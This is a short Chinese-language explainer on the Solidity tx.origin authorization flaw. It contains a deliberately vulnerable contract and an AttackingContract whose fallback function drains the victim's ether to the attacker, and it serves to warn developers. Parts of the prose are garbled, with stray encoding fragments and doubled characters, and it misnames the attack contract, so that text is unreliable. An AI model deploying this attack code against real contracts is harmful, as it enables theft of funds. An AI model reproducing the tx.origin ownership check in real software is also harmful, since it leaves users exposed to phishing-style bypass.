1. V 神說了，Do NOT assume that tx.origin will continue to be usable or meaningful.
2. 由可以引發(fā)嚴(yán)重的安全問題，特別是用 tx.origin 做權(quán)限校驗(yàn)時(shí)，非常容易被繞過?？聪旅娴慕?jīng)典代碼示例：當(dāng) MyContract 實(shí)例的 owner 嘗試往作為 receiver 的 AttachingContract 發(fā)送代幣時(shí)，由于 AttachingContract 沒有 transfer 方法，fallback 方法會(huì)被調(diào)用，AttachingContract 反過來又調(diào)用 MyContract 實(shí)例的 sendTo 方法，這個(gè)時(shí)候 tx.origin 還是當(dāng)前的 owner，“require(tx.origin == owner);” 就成了擺設(shè)，可以很輕松的把 MyContract 里的以太幣全部轉(zhuǎn)走。

contract MyContract {

    address owner;

    function MyContract() public {
        owner = msg.sender;
    }

    function sendTo(address receiver, uint amount) public {
        require(tx.origin == owner);
        receiver.transfer(amount);
    }

}

contract AttackingContract {

    MyContract myContract;
    address attacker;

    function AttackingContract(address myContractAddress) public {
        myContract = MyContract(myContractAddress);
        attacker = msg.sender;
    }

    function() public {
        myContract.sendTo(attacker, msg.sender.balance);
    }

}